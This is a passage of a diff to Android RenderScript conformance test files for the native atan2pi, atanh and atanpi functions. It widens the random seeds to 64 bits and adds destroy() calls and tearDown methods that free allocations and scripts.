             verifyResultsNativeAtan2piFloatFloatFloat(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2piFloatFloatFloat(inNumerator, out);
             verifyResultsNativeAtan2piFloatFloatFloat(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piFloatFloatFloat: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2piFloatFloatFloat(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkNativeAtan2piFloat2Float2Float2() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8853bce2l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xc19e58bl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x305d06618853bce2l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4cc6c68c0c19e58bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2piFloat2Float2Float2(inNumerator, out);
             verifyResultsNativeAtan2piFloat2Float2Float2(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2piFloat2Float2Float2(inNumerator, out);
             verifyResultsNativeAtan2piFloat2Float2Float2(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piFloat2Float2Float2: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2piFloat2Float2Float2(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkNativeAtan2piFloat3Float3Float3() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x2b1fa8e3l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xdef578c4l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xbebaf9b2b1fa8e3l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x162b07d4def578c4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2piFloat3Float3Float3(inNumerator, out);
             verifyResultsNativeAtan2piFloat3Float3Float3(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2piFloat3Float3Float3(inNumerator, out);
             verifyResultsNativeAtan2piFloat3Float3Float3(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piFloat3Float3Float3: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2piFloat3Float3Float3(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkNativeAtan2piFloat4Float4Float4() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xcdeb94e4l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb1d10bfdl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xe77a58d4cdeb94e4l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xdf8f491db1d10bfdl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2piFloat4Float4Float4(inNumerator, out);
             verifyResultsNativeAtan2piFloat4Float4Float4(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2piFloat4Float4Float4(inNumerator, out);
             verifyResultsNativeAtan2piFloat4Float4Float4(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piFloat4Float4Float4: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2piFloat4Float4Float4(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkNativeAtan2piHalfHalfHalf() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x474bf8c3l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x5b0261a4l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xbaef3471474bf8c3l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x269576465b0261a4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2piHalfHalfHalf(inNumerator, out);
             verifyResultsNativeAtan2piHalfHalfHalf(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2piHalfHalfHalf(inNumerator, out);
             verifyResultsNativeAtan2piHalfHalfHalf(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piHalfHalfHalf: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2piHalfHalfHalf(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkNativeAtan2piHalf2Half2Half2() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x72ff66ddl, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xfdf89b6el, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x89d3773c72ff66ddl, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x753be3b4fdf89b6el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2piHalf2Half2Half2(inNumerator, out);
             verifyResultsNativeAtan2piHalf2Half2Half2(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2piHalf2Half2Half2(inNumerator, out);
             verifyResultsNativeAtan2piHalf2Half2Half2(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piHalf2Half2Half2: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2piHalf2Half2Half2(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkNativeAtan2piHalf3Half3Half3() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xbe71974cl, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xe9b86d25l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x4472484bbe71974cl, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x5a4fdb2ce9b86d25l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2piHalf3Half3Half3(inNumerator, out);
             verifyResultsNativeAtan2piHalf3Half3Half3(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2piHalf3Half3Half3(inNumerator, out);
             verifyResultsNativeAtan2piHalf3Half3Half3(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piHalf3Half3Half3: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2piHalf3Half3Half3(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkNativeAtan2piHalf4Half4Half4() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x9e3c7bbl, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd5783edcl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xff11195b09e3c7bbl, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x3f63d2a4d5783edcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testNativeAtan2piHalf4Half4Half4(inNumerator, out);
             verifyResultsNativeAtan2piHalf4Half4Half4(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testNativeAtan2piHalf4Half4Half4(inNumerator, out);
             verifyResultsNativeAtan2piHalf4Half4Half4(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtan2piHalf4Half4Half4: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsNativeAtan2piHalf4Half4Half4(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanh.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanh.java
index f8bd311..c5a1fe8 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanh.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanh.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeAtanhRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeAtanhFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe7004d04l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x46ba02a2e7004d04l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeAtanhFloatFloat(inV, out);
             verifyResultsNativeAtanhFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanhFloatFloat(inV, out);
             verifyResultsNativeAtanhFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanhFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeAtanhFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x35a682c8l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xd557bfdd35a682c8l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeAtanhFloat2Float2(inV, out);
             verifyResultsNativeAtanhFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanhFloat2Float2(inV, out);
             verifyResultsNativeAtanhFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanhFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeAtanhFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x2bc1a3a6l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd55988f82bc1a3a6l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeAtanhFloat3Float3(inV, out);
             verifyResultsNativeAtanhFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanhFloat3Float3(inV, out);
             verifyResultsNativeAtanhFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanhFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeAtanhFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x21dcc484l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd55b521321dcc484l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeAtanhFloat4Float4(inV, out);
             verifyResultsNativeAtanhFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanhFloat4Float4(inV, out);
             verifyResultsNativeAtanhFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanhFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeAtanhHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x92b7290el, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xf10ddbc792b7290el, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeAtanhHalfHalf(inV, out);
             verifyResultsNativeAtanhHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanhHalfHalf(inV, out);
             verifyResultsNativeAtanhHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanhHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeAtanhHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x541e9440l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xd177456541e9440l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeAtanhHalf2Half2(inV, out);
             verifyResultsNativeAtanhHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanhHalf2Half2(inV, out);
             verifyResultsNativeAtanhHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanhHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeAtanhHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb3265934l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd177ef7b3265934l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeAtanhHalf3Half3(inV, out);
             verifyResultsNativeAtanhHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanhHalf3Half3(inV, out);
             verifyResultsNativeAtanhHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanhHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeAtanhHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x122e1e28l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd178999122e1e28l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeAtanhHalf4Half4(inV, out);
             verifyResultsNativeAtanhHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanhHalf4Half4(inV, out);
             verifyResultsNativeAtanhHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanhHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanhHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpi.java
index 1ae95de..b0fb3fe 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAtanpi.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeAtanpiRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeAtanpiFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd1d451bdl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x3fd790efd1d451bdl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeAtanpiFloatFloat(inV, out);
             verifyResultsNativeAtanpiFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanpiFloatFloat(inV, out);
             verifyResultsNativeAtanpiFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanpiFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeAtanpiFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4afc9ef9l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x1bd089694afc9ef9l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeAtanpiFloat2Float2(inV, out);
             verifyResultsNativeAtanpiFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanpiFloat2Float2(inV, out);
             verifyResultsNativeAtanpiFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanpiFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeAtanpiFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x4117bfd7l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x1bd252844117bfd7l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeAtanpiFloat3Float3(inV, out);
             verifyResultsNativeAtanpiFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanpiFloat3Float3(inV, out);
             verifyResultsNativeAtanpiFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanpiFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeAtanpiFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3732e0b5l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x1bd41b9f3732e0b5l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeAtanpiFloat4Float4(inV, out);
             verifyResultsNativeAtanpiFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeAtanpiFloat4Float4(inV, out);
             verifyResultsNativeAtanpiFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeAtanpiFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeAtanpiHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x8f61928fl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x73c010548f61928fl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeAtanpiHalfHalf(inV, out);
             verifyResultsNativeAtanpiHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeAtanpiHalfHalf: " + e.toString());
         }
